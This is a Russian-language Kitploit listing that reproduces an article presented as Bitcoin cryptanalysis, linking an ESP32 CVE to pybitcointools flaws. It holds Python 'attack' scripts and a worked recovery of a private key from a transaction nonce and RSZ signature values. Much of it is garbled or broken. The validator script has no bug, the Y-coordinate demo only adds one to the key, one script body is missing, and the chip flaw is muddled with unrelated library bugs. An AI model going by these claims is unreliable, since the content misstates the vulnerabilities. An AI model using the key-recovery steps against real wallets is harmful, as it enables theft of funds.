Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Bluetooth-Attacks-CVE-2025-27840 — Биткойн-криптоанализ: Уязвимость CVE-2025-27840 в микроконтроллерах ESP32 ставит под угрозу миллиарды устройств IoT через Wi-Fi и Bluetooth | Kitploit
Инструменты/GitHubGitHub/demining/bluetooth-attacks-cve-2025-27840
Безопасность встроенных системБезопасность BluetoothБезопасность IoTАнализ уязвимостейЭксплуатацияБезопасность беспроводных сетейКриптографияБезопасность оборудования и IoTСтатьи и Исследования

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Обучение и Образование
GitHubdemining/bluetooth-attacks-cve-2025-27840

Bluetooth-Attacks-CVE-2025-27840

Биткойн-криптоанализ: Уязвимость CVE-2025-27840 в микроконтроллерах ESP32 ставит под угрозу миллиарды устройств IoT через Wi-Fi и Bluetooth

РепозиторийСайт
12561 год назадЕщё не проверено
Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth

В данной статье рассматривается, как злоумышленник может внедрить скрытый список уязвимостей через обновления модулей, что может привести к компрометации устройств ESP32 и получению несанкционированного доступа к закрытым ключам, затрагивая миллиарды устройств, использующих этот микроконтроллер. Одной из ключевых проблем является уязвимость CVE-2025-27840, обнаруженная в архитектуре ESP32. Для обеспечения безопасности сети Биткоин мы выявили следующие уязвимости: возможность использования недействительных закрытых ключей из-за отсутствия проверки нижней границы в функции  has_invalid_privkey; уязвимость подделки подписи транзакций в функции  electrum_sig_hash из-за несовместимости с BIP-137; проблема слабого PRNG в функции генерации ключей  random_key, делающая личные закрытые ключи для криптовалютных кошельков предсказуемыми; отсутствие проверки точек на кривой ECC в функции  multiply, что может привести к атакам на недопустимые кривые; уязвимость в функции  ecdsa_raw_sign при восстановлении Y-координаты, потенциально ведущая к подмене открытого ключа; а также уязвимости, связанные с устаревшими API хеширования в  bin_ripemd160.


  • Учебник: https://youtu.be/nBeZWm2z5o4
  • Учебник: https://cryptodeeptech.ru/bitcoin-bluetooth-attacks
  • Учебник: https://dzen.ru/video/watch/6784be61b09e46422395c236
  • Google Colab: https://colab.research.google.com/drive/15lPDHeTo7FkrPY7v4qS7X6hO4x27qT2Y

В начале марта 2025 года компания Tarlogic Security выявила уязвимость в микроконтроллере ESP32, который широко используется для подключения устройств через Wi-Fi и Bluetooth. Эта уязвимость была зарегистрирована под номером CVE-2025-27840. Злоумышленники могут получить несанкционированный доступ к данным кошельков Биткоин, используя чип ESP32 в качестве точки для криптографических атак на устройства, работающие в сетях популярных криптовалют, таких как Биткоин и Эфириум. Эта проблема затрагивает миллионы IoT-устройств, использующих данный микроконтроллер. Эксплуатация этой уязвимости позволит злоумышленникам проводить атаки под видом легитимных пользователей и постоянно заражать уязвимые устройства. Это угрожает безопасности IoT-устройств на базе микроконтроллера ESP32 и может привести к краже закрытых ключей кошельков Биткоин.

ESP32 — это микроконтроллер, широко используемый в IoT-устройствах для обеспечения подключения по Wi-Fi и Bluetooth. Злоумышленники могут использовать различные методы для получения доступа к данным закрытых ключей кошельков Биткоин через ESP32.

Угрозы безопасности, связанные с микроконтроллером ESP32, могут привести к краже закрытых ключей кошельков Биткоин. Основные проблемы включают наличие бэкдоров и уязвимостей. Используя такие уязвимости, они могут манипулировать памятью, подделывать MAC-адреса и внедрять вредоносный код, что создает серьезные риски для безопасности.

Злоумышленники могут атаковать IoT-устройства с микроконтроллером ESP32, используя уязвимости в Bluetooth- и Wi-Fi-соединениях, что может стать инструментом для атак на другие устройства в сети, связанной с Биткоин, а также для кражи конфиденциальной информации, включая закрытые ключи для кошельков Биткоин.


Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi & Bluetoothhttps://youtu.be/nBeZWm2z5o4


Скрытый список уязвимостей:

Злоумышленник может обновлять модули и вносить в код список различных уязвимостей, включая:

  • Уязвимость в функции  has_invalid_privkey, которая может быть использована для получения закрытого ключа.
  • Уязвимость в функции  electrum_sig_hash, позволяющая подделывать подписи транзакций Биткоин.
  • Уязвимость в функции  random_key, связанная со слабым генератором псевдослучайных чисел (недетерминированный PRNG).
  • Уязвимость в функции  multiply, где отсутствует проверка точки на кривой ECC.
  • Уязвимости в функциях  ecdsa_raw_sign и  bin_ripemd160.

Эти уязвимости могут быть использованы для внедрения поддельных обновлений в устройства ESP32, предоставляя злоумышленникам низкоуровневый доступ к системе. Это позволит им обходить средства контроля аудита кода и получать доступ к закрытым ключам. В настоящее время миллиарды устройств могут быть уязвимы из-за скрытых особенностей одного компонента в их архитектуре, который обозначен как CVE-2025-27840.


Уязвимость для получения закрытого ключа в функции has_invalid_privkey

Эта уязвимость была найдена в коде проверки закрытых ключей Биткоин, что позволяет использовать недействительные ключи (меньше или равные 0) из-за отсутствия проверки нижней границы. Это может привести к потере средств. Для исправления необходимо добавить проверку, чтобы убедиться, что закрытый ключ больше 0. Код предоставлен в демонстрационных целях.


Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetoothhttps://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L305

Эта ошибка позволяет использовать недопустимые закрытые ключи, что может привести к серьезным проблемам, включая потерю денег.

Для исправления необходимо добавить проверку, чтобы убедиться, что закрытый ключ больше 0.

Представьте, что кто-то пытается «взломать» сеть Биткоин. Они находят слабое место в проверке закрытых ключей, используемых для доступа к криптовалюте.

Проблема в том, что код проверяет только, не слишком ли велик закрытый ключ. Если ключ очень большой, он отклоняется. Но код забывает проверить, не слишком ли мал ключ (меньше или равен нулю).

Фрагмент кода, где это происходит:

root@kitploit:~
...
...
if privkey >= N: # Проверка только верхней границы
raise Exception("Invalid privkey")

if privkey <= 0: #
Нижняя граница проверяется неправильно
return True

...
...


Из-за этой ошибки можно использовать недействительные (очень маленькие) закрытые ключи. Эта уязвимость находится в функции  has_invalid_privkey.

Для всего этого необходимо установить библиотеку  ecdsa (она нужна для работы с криптографией): 


Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth

Python-скрипт secp256k1_privkey_validator.py

root@kitploit:~
!pip install ecdsa 
import ecdsa

def has_invalid_privkey(privkey: int) -> bool:
"""
Проверяет, является ли закрытый ключ недействительным, на основе отсутствия проверки нижней границы.

Args:
privkey: Проверяемый закрытый ключ.

Returns:
True, если закрытый ключ недействителен (<= 0 или >= N), иначе False.
"""
# Порядок эллиптической кривой secp256k1, используемой Биткоин
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

if privkey >= N: # Проверка только верхней границы
raise Exception("Invalid privkey")

if privkey <= 0: # Проверка нижней границы отсутствует
return True

return False

# Пример использования
privkey = 0 # Недействительный закрытый ключ
is_invalid = has_invalid_privkey(privkey)

if is_invalid:
print("Invalid private key!")
else:
print("Valid private key.")

Объяснение кода:

  1. Импорт библиотекиecdsa : Хотя она не используется напрямую в этом примере, в реальных сценариях с Биткоин и ECDSA (алгоритм цифровой подписи на эллиптических кривых) эта библиотека может потребоваться для выполнения криптографических операций.
  2. Функцияhas_invalid_privkey(privkey: int) -> bool :
    • privkeyПринимает закрытый ключ в виде целого числа на вход .
    • Определяет константу N, представляющую порядок эллиптической кривой secp256k1, используемой в Биткоин.
    • Проверяет, является ли privkeyбольше или равным N. Если да, вызывает исключение, указывающее на недействительность закрытого ключа.
    • Проверяет, является ли privkeyменьше или равным 0. Если да, возвращает True, указывая, что закрытый ключ недействителен из-за отсутствия проверки нижней границы.
    • Если обе проверки не пройдены, возвращает False.
  3. Пример использования :
    • Устанавливает значение privkey = 0, которое является недействительным закрытым ключом.

Уязвимость :

Код содержит уязвимость, связанную с недостаточной проверкой закрытого ключа. А именно, отсутствует проверка нижней границы (privkey <= 0). Это позволяет использовать недействительные закрытые ключи, что может привести к непредсказуемым последствиям, включая потерю средств.

Как исправить :

Необходимо добавить проверку нижней границы закрытого ключа, чтобы убедиться, что он больше 0.


Уязвимость подделки подписи транзакций Биткоин в функции electrum_sig_hash

Функция  electrum_sig_hash в Electrum использует нестандартный метод хеширования сообщений, что делает её уязвимой для атак подделки подписей из-за несовместимости с BIP-137.


Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetoothhttps://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L425

Злоумышленник, нацеленный на сеть Биткоин, может обнаружить нестандартный метод хеширования сообщений, используемый Electrum, через  electrum_sig_hash. Эта функция создает хеш сообщения таким образом, что может привести к атакам подделки подписей из-за несовместимости с BIP-137. Предоставленный Python-скрипт демонстрирует, как злоумышленник может сгенерировать хеш сообщения, используемый Electrum, для эксплуатации уязвимости несовместимости с BIP-137. Функция  electrum_sig_hash подготавливает сообщение, добавляя префикс и кодируя его длину, а затем дважды хеширует его с помощью SHA256.

Python-скрипт, демонстрирующий, как злоумышленник может найти нестандартный хеш сообщения, используемый Electrum, для выполнения атак подделки подписей из-за несовместимости с BIP-137.


Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth

Python-скрипт bitcoin_sign_hash.py

root@kitploit:~
!pip install ecdsa 
import hashlib

def num_to_var_int(i):
if i < 0xfd:
return i.to_bytes(1, 'little')
elif i <= 0xffff:
return b'\xfd' + i.to_bytes(2, 'little')
elif i <= 0xffffffff:
return b'\xfe' + i.to_bytes(4, 'little')
else:
return b'\xff' + i.to_bytes(8, 'little')

def from_string_to_bytes(s):
return s.encode('utf-8')

def bin_dbl_sha256(s):
hash1 = hashlib.sha256(s).digest()
hash2 = hashlib.sha256(hash1).digest()
return hash2

def electrum_sig_hash(message):
padded = b"\x18Bitcoin Signed Message:\n" + num_to_var_int(len(message)) + from_string_to_bytes(message)
return bin_dbl_sha256(padded)

# Пример использования
message = "Example message for signing"
message_hash = electrum_sig_hash(message)
print(f"Electrum message hash: {message_hash.hex()}")

В этом скрипте:

  • num_to_var_int(i): преобразует целое число в формат переменной длины, используемый в Биткоин.
  • from_string_to_bytes(s): кодирует строку в байты с использованием кодировки UTF-8.
  • bin_dbl_sha256(s): выполняет двойное хеширование SHA256 входных данных.
  • electrum_sig_hash(message): имитирует нестандартный способ хеширования сообщений Electrum, который подвержен несовместимости с BIP-137.

Уязвимость в функции  random_keyСлабый PRNG при генерации ключей (недетерминированный PRNG)

Проблема возникает, когда Биткоин использует функцию  random_key, которая полагается на модуль  для создания ключей random. Модуль  random не предназначен для криптографических целей, поскольку не генерирует достаточно случайные числа, что делает закрытые ключи предсказуемыми для злоумышленников. Это оставляет сеть Биткоин уязвимой.

Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetoothhttps://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L432

Скрипт Python, который делает сеть Bitcoin уязвимой, используя random вместо secrets или os.urandom, что делает закрытые ключи предсказуемыми для атакующего на Bitcoin:

Скрипт Python privkey_generate.py

root@kitploit:~
import random
import time
from hashlib import sha256

def random_string(length):
    return ''.join(random.choice('0123456789abcdef') for i in range(length))

def random_key():
    # Gotta be secure after that java.SecureRandom fiasco...
    entropy = random_string(32) \
        + str(random.randrange(2**256)) \
        + str(int(time.time() * 1000000))
    return sha256(entropy.encode('utf-8')).hexdigest()

# Example usage: generate a private key
private_key = random_key()
print("Generated Private Key:", private_key)

Этот скрипт использует модуль random для генерации ключей, что делает его уязвимым. Использование модуля random не подходит для криптографических целей, поскольку он не генерирует достаточно случайные числа.


Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth

Чтобы создать более безопасный ключ, можно использовать модуль secrets или os.urandom. Вот пример использования модуля secrets:

root@kitploit:~
import secrets
import hashlib

def secure_random_key():
    # Generate a random number with enough entropy
    random_bytes = secrets.token_bytes(32)  # 32 bytes = 256 bits
    
    # Hash the random bytes to create a private key
    private_key = hashlib.sha256(random_bytes).hexdigest()
    return private_key

# Example usage: generate a secure private key
secure_private_key = secure_random_key()
print("Generated Secure Private Key:", secure_private_key)

В этом примере модуль secrets используется для генерации случайного числа с достаточной энтропией. Затем случайное число хэшируется для создания личного закрытого ключа. Этот метод гораздо безопаснее, чем использование модуля random.


Уязвимость в функции ecdsa_raw_sign

Уязвимость в функции ecdsa_raw_sign при восстановлении Y-координаты может привести к подмене открытого ключа в сети Bitcoin. Существует высокий риск того, что злоумышленник может использовать особенность восстановления Y-координаты при работе с эллиптической кривой. Эта неоднозначность может привести к тому, что открытый ключ будет восстановлен неправильно.


Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetoothhttps://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L543

Пример кода, предоставленный с использованием библиотеки pycryptodome, демонстрирует, как можно смоделировать эту ситуацию путем замены Y-координаты для получения другого, недействительного открытого ключа. Важно отметить, что пример кода упрощен и не является полной реализацией атаки, а лишь показывает ее принцип.

Злоумышленник может использовать неоднозначность восстановления Y-координаты в сети Bitcoin, что может привести к ошибкам при восстановлении открытого ключа. Вот пример того, как это можно сделать с помощью поразрядной операции XOR.


Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth

Скрипт Python weak_key_recovery.py

root@kitploit:~
!pip install pycryptodome 
from hashlib import sha256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
import secrets

# Elliptic curve parameters secp256k1
# PyCryptodome does not provide a convenient way to directly specify the parameters of the secp256k1 curve.
# Therefore, we will use the standard ECC curve.
# For production code, be careful when choosing the curve and its parameters.

def hash_to_int(msghash):
return int(sha256(msghash.encode('utf-8')).hexdigest(), 16)

def deterministic_generate_k(msghash, priv_key_int):
k = 0
while k == 0:
v = b'\x01' * 32
k = b'\x00' * 32
k = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
v = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
k = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
v = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
k = int.from_bytes(sha256(v + k).digest(), 'big') # % N # Removed % N, since N is no longer a defined constant
return k

def ecdsa_raw_sign(msghash, priv_key_int):
z = hash_to_int(msghash)
k = deterministic_generate_k(msghash, priv_key_int)

# Generate private key object
key = ECC.construct(curve='P-256', d=priv_key_int)

# Calculate point R = kG
# PyCryptodome does not provide direct access to the coordinates of point R
# Therefore, the signature will be calculated in a different way, using DSS

# s = pow(k, -1, N) * (z + r * private_key_int) % N # N is no longer defined
# v = 27 + ((y % 2) ^ (0 if s * 2 < N else 1)) # y is not available

return key, z, k # Return the key, hash, and k for further use in signing

def recover_pubkey(msghash, signature, key):
# WARNING: This is a VERY SIMPLIFIED example of public key recovery.
# In real life, ECDSA public key recovery is a complex process.
# This code is intended only to demonstrate the principle.

# PyCryptodome does not have a simple way to recover PublicKey from r and s directly.
# This code does not perform real recovery, but creates a new PublicKey from the private key.
# In a real attack scenario, you need to try to guess the y-coordinate to get a valid PublicKey.
# But this requires a more complex logic to work with the elliptic curve. return key.public_key()def emulate_attack(msghash, priv): # 1. Sign the message priv_key_int = int(priv, 16) key, z, k = ecdsa_raw_sign(msghash, priv_key_int) signer = DSS.new(key, 'fips-186-3') hash_obj = SHA256.new(msghash.encode('utf-8')) signature = signer.sign(hash_obj) # 2. Attempt to recover the public key (incorrectly) Q = recover_pubkey(msghash, signature, key) # 3. Simulate a situation where the Y coordinate is recovered incorrectly # In a real attack scenario, an attacker will try to iterate through different y-coordinates. # In this example, we simply change the x-coordinate slightly tampered_key = ECC.construct(curve='P-256', d=priv_key_int + 1) # EXAMPLE! DO NOT DO THIS IN REAL CODE! Q_tampered = tampered_key.public_key() return Q, Q_tampered # Example usage msghash = "Message example" # Generate a random private key private_key = ECC.generate(curve='P-256') priv = hex(private_key.d) # Store private key as a hex string # Example usage Q, Q_tampered = emulate_attack(msghash, priv) print("Original Public Key:", Q) print("Tampered Public Key:", Q_tampered) print("Are the keys equal?", Q == Q_tampered)

Этот скрипт демонстрирует, как можно изменить Y-координату для получения недействительного открытого ключа.

Обратите внимание, что это всего лишь пример, и реальная атака может быть гораздо сложнее.

В дополнение к приведенному выше скрипту, вот несколько дополнительных моментов, которые следует учитывать:

  • Атака Фрея-Рюка: Эта атака использует уязвимости в подписи ECDSA для извлечения закрытого ключа «K» (nonce), что в конечном итоге может привести к восстановлению кошелька Bitcoin.
  • Поразрядные операции: XOR — ценный инструмент для шифрования данных и может использоваться в сочетании с другими операциями для повышения безопасности.
  • Атака 51%: Хотя это напрямую не связано с восстановлением Y-координаты, важно понимать, что злоумышленник, контролирующий более 50% вычислительной мощности сети, потенциально может манипулировать блокчейном.
  • Манипуляция координатами на кривой Якоби: Злоумышленники могут манипулировать математическими свойствами координат Якоби для создания поддельных цифровых подписей.
  • Обновление программного обеспечения: Крайне важно всегда обновлять программное обеспечение и использовать только доверенные устройства, чтобы предотвратить возможную потерю монет BTC из-за критических уязвимостей.

Уязвимость в функции bin_ripemd160

Устаревшие API хэширования в сети Bitcoin, особенно при отсутствии RIPEMD-160, могут быть уязвимы. Злоумышленники могут выявлять и использовать слабые реализации, что подчеркивает важность использования современных криптографических библиотек и регулярных обновлений безопасности.


Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetoothhttps://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L378

Злоумышленник в сети Bitcoin может найти уязвимость в устаревшем API хэширования, особенно если в некоторых системах отсутствует реализация RIPEMD-160. Проблема заключается в функции bin_ripemd160, которая пытается использовать hashlib для хэширования, но в случае неудачи переключается на собственную, потенциально более слабую реализацию.

Предоставленный скрипт Python демонстрирует, как злоумышленник может протестировать узел Bitcoin на наличие такой слабой реализации API. Если hashlib не поддерживает RIPEMD-160, используется упрощенная реализация, что может привести к коллизиям хэшей и другим уязвимостям. Скрипт имитирует атаку путем хэширования данных и выводит предупреждение, если используется слабая реализация.

Риски включают возможность подделки транзакций и использования известных уязвимостей в устаревших API. Для защиты рекомендуется использовать современные и проверенные криптографические библиотеки, регулярно обновлять программное обеспечение Bitcoin и проверять вывод криптографических операций.


Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth

Скрипт Python, в котором злоумышленник Bitcoin находит устаревший API хэширования и обсуждает риск отсутствия реализации RIPEMD-160 в определенных средах:

Скрипт Python ripemd160_vulnerability.py

root@kitploit:~

Подробное объяснение:

  1. Реализация RIPEMD160 (если нет в hashlib):
    • Класс RIPEMD160 имитирует реализацию RIPEMD160. В реальности он должен реализовывать алгоритм хэширования RIPEMD160. Для целей демонстрации он возвращает фиктивный хэш.
  2. Функция bin_ripemd160(string):
    • Пытается хэшировать входную строку с помощью RIPEMD160.
    • Сначала пытается использовать реализацию hashlib, и при необходимости возвращается к пользовательской реализации.
    • Если hashlib не поддерживает RIPEMD160, перехватывает исключение ValueError и использует пользовательскую реализацию.
  3. Функция check_for_weak_api(data):
    • Эта функция имитирует атакующего, который тестирует узел сети Bitcoin на наличие слабых реализаций API.
    • Указывает, что атакующий тестирует узел на наличие слабого API.
    • Кодирует данные в формате utf-8.
    • Вызывает bin_ripemd160для хеширования данных.
    • Указывает, что данные были захешированы, и показывает значение хеша.
    • Если хеш является фиктивным (20 байтов нулей), выводит предупреждение о том, что узел использует слабую или пользовательскую реализацию RIPEMD160, что может привести к коллизиям хешей или другим уязвимостям.
  4. Пример использования:
    • В блоке if __name__ == "__main__":задаются образцы данных и вызывается check_for_weak_apiс этими данными.

Как это работает:

  1. Имитация атаки:
    • Скрипт имитирует атакующего, который пытается выявить узлы в сети Bitcoin, использующие устаревшие или слабые API хеширования RIPEMD160.
  2. Проверка реализации RIPEMD160:
    • Сначала предпринимается попытка использовать стандартную библиотеку hashlibдля хеширования RIPEMD160. Если это не удается (поскольку hashlibв конкретном окружении не поддерживает RIPEMD160), используется пользовательская реализация (в данном примере упрощенная версия).
  3. Выявление слабостей:
    • Пользовательская реализация (в данном примере) намеренно ослаблена. Атакующий может воспользоваться этой слабостью, если узел использует данную реализацию.
  4. Возможные риски:
    • Коллизии хешей: Слабая реализация хеша RIPEMD160 может быть подвержена коллизиям хешей. Атакующий может использовать это для изменения транзакций или данных.
    • Уязвимости безопасности: Устаревшие API могут содержать известные уязвимости, которые атакующий может эксплуатировать.

Как смягчить:

  1. Использование актуальных библиотек:
    • Убедитесь, что вы используете современные и проверенные библиотеки для криптографических операций.
    • Если требуется RIPEMD160, используйте надежную и актуальную реализацию.
  2. Регулярные обновления:
    • Поддерживайте программное обеспечение Bitcoin в актуальном состоянии, чтобы получать исправления безопасности и улучшения.
  3. Валидация:
    • Всегда проверяйте выходные данные криптографических операций, чтобы убедиться, что они соответствуют ожидаемым стандартам.

Уязвимость в функции multiply — отсутствие проверки точки на кривой ECC

В сети Bitcoin существует потенциальная уязвимость в функции  multiply из-за недостаточной валидации точек на кривой ECC. Это может позволить атакующему провести атаку с использованием недействительных кривых, хотя современные криптографические библиотеки, такие как  pycryptodome, затрудняют такую эксплуатацию. Атака возможна через манипуляции с кривой Якоби , что может привести к подделке подписей и манипуляции сетью.


Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetoothhttps://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L275

В сети Bitcoin атакующий может найти уязвимость в функции  multiply, в которой отсутствует полная проверка принадлежности точки эллиптической кривой (ECC). В коде проверка выполняется только для ненулевых точек, что открывает возможность для атак с использованием недействительных кривых (invalid curve attacks).

Пример кода атакующего показывает, как можно использовать эту уязвимость. В нем демонстрируется функция  multiply, в которой отсутствует надежная проверка точки на кривой, и функция  invalid_curve_attack, которая пытается воспользоваться этой слабостью. Код также использует библиотеки  pycryptodome для криптографических операций.

Именно  pycryptodome затрудняет прямое выполнение таких атак благодаря встроенным механизмам безопасности. Код показывает, как можно создать «неправильную» кривую и попытаться выполнить умножение, но подчеркивается, что это небезопасно и требует глубокого понимания криптографии.


Используя уязвимость в функции multiply, атакующий может выполнить атаку с использованием недействительных кривых для компрометации закрытых ключей в сети Bitcoin. Ниже представлен пример скрипта на Python, демонстрирующий эту атаку.


Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth

Скрипт Python ecdsa_curve_attack.py

root@kitploit:~
!pip install pycryptodome 
from Crypto.Hash import SHA256
from Crypto.Signature import DSS
from Crypto.PublicKey import ECC
from Crypto.Math import *

class Exploit:
def __init__(self):
self.msg = "ATTACK!"
self.hash = hash_msg(self.msg)

def sign_message(self, private_key):
signer = DSS.new(private_key, 'fips-186-3')
signature = signer.sign(self.hash)
return signature

def verify_signature(self, public_key, signature):
verifier = DSS.new(public_key, 'fips-186-3')
try:
verifier.verify(self.hash, signature)
return True
except ValueError:
return False

def hash_msg(msg):
hasher = SHA256.new(msg.encode('utf-8'))
return hasher.digest()

# Elliptic curve parameters (example, must be replaced with the parameters of the curve being used)
# WARNING: IN REAL CODE, YOU MUST USE SECURE CURVES AND THEIR PARAMETERS!
# EXAMPLE FOR DEMONSTRATION, DO NOT USE IN PRODUCTION!
curve = 'secp256r1' # Or another curve

# Vulnerable function (EXAMPLE! PyCryptodome HAS NO DIRECT EQUIVALENT to fast_multiply)
# This function is here to demonstrate the vulnerability, but requires adaptation to specific needs and cryptographic primitives.
def multiply(pubkey, privkey):
# WARNING: THIS IS A VERY SIMPLIFIED EXAMPLE, NOT SAFE!
# IN REAL CODE, YOU NEED TO USE CRYPTOGRAPHICALLY SECURE METHODS!
# Checking if the point is on the curve. In PyCryptodome, this is done automatically.

#Performing multiplication
result = privkey.d * pubkey.pointQ

return result

# Example of invalid curve attack (adapted for pycryptodome)
def invalid_curve_attack(public_key, malformed_curve_parameters):
# Creating a "wrong" curve (example!)
#malformed_curve = ECC.CurveObj(malformed_curve_parameters['name'],
# malformed_curve_parameters['oid'],
# malformed_curve_parameters['field'],
# malformed_curve_parameters['a'],
# malformed_curve_parameters['b'],
# malformed_curve_parameters['generator'],
# malformed_curve_parameters['order'])

# Creating a public key on the "wrong" curve (example!)
#attacker_key = ECC.EccPoint(malformed_curve_parameters['generator'].x, malformed_curve_parameters['generator'].y, malformed_curve)

# Creating a fake private key (example!) #attacker_private_key = ECC.construct(curve=malformed_curve, pointQ=attacker_key) # WARNING: In PyCryptodome, it is more difficult to directly manipulate curves and points # to demonstrate invalid curve attack. This code is left commented out, # because correct operation requires a deep understanding of ECC and unsafe operations. # It is recommended to use standard curves and avoid creating your own. # Performing multiplication using the vulnerable function (EXAMPLE! NOT SAFE!) # result = multiply(attacker_key, attacker_private_key) # return result return None # Returning None to avoid an error # Example of "wrong" curve parameters (NEVER USE IN PRODUCTION!) # This is just an example showing the data structure. Real parameters should be carefully selected. # These parameters are commented out to avoid an error when creating EccPoint with curve=None malformed_curve_parameters = { #'name': "MalformedCurve", #'oid': "1.2.3.4", #'field': 17, #'a': 2, #'b': 3, #'generator': ECC.EccPoint(5, 1), # Removed None because it causes an error #'order': 19 } # Creating a private key (for example) private_key = ECC.generate(curve=curve) public_key = private_key.public_key() # Example of using invalid curve attack attack_result = invalid_curve_attack(public_key, malformed_curve_parameters) print(attack_result)

Пояснение кода:

  • Уязвимость: Функция multiplyпроверяет принадлежность точки кривой ECC только в том случае, если это не точка на бесконечности. Это позволяет использовать точки, не принадлежащие основной кривой, но принадлежащие твист-кривой.
  • Атака с использованием недействительных кривых: Атака заключается в использовании точки на другой кривой (malformed curve) для получения информации о секретном ключе. Поскольку проверка кривой выполняется не для всех точек, можно передать точку с другой кривой и использовать результат для восстановления части секретного ключа.
  • Функция invalid_curve_attack: Эта функция принимает открытый ключ и параметры недействительной кривой. Она создает точку на недействительной кривой и использует уязвимую функцию multiplyдля выполнения умножения.

Как работает атака с использованием малых подгрупп (Small Subgroup Attack):

  1. Выбор точки малого порядка: Атакующий выбирает точку Qмалого порядка на кривой или на твисте кривой.
  2. Отправка точки: Атакующий отправляет эту точку Qжертве, выдавая ее за свой открытый ключ.
  3. Вычисление общего секрета: Жертва вычисляет nQ, где n — секретный ключ жертвы.
  4. Перебор: Поскольку Qимеет малый порядок, существует небольшое количество возможных значений для nQ . Атакующий может перебрать все эти значения и проверить, какое из них соответствует зашифрованным данным, раскрывая nпо модулю порядка Q.

Рекомендации:

  • Всегда проверяйте, что входные точки действительно принадлежат кривой ECC.
  • Используйте библиотеки, которые обеспечивают надежную проверку кривой и защиту от атак с использованием недействительных кривых.

Small Subgroup Attack

Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth

Расшифруйте уязвимую транзакцию RawTX с помощью функции сервиса SMALL SUBGROUP ATTACK


Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth

Результат — значение K секретного ключа Nonce в HEX формате

root@kitploit:~
K = 6bd261bd25ac54807552dfeec6454d6719ec8a05cb11ad5171e1ad68abb0acb2

Чтобы получить все остальные значения из уязвимой транзакции RawTX, мы воспользуемся сервисом декодирования подписей RSZ.

Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth

Результирующие значения для R, S, Z в HEX формате

root@kitploit:~
R = 5013dbed340fed00b6cb9778a713e1456b8138d00c3bcf6e7ff117be723335d0
S = 5018ddd352a6bc61b86afee5001a3e25d26a328a833c8f3812a15465f542c1c9
Z = 396ebf23dbcccce2a389ccb26198e25118bf7f72c38d2a4ab8d9e4648f2385f8

Чтобы получить значение X закрытого ключа по формуле: priv_key = ((((S * K) - Z) * modinv(R, N)) % N)мы воспользуемся программой Dockeyhunt Private Key Calculator

Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi & Bluetooth

В результате мы получаем значение X закрытого ключа в HEX формате

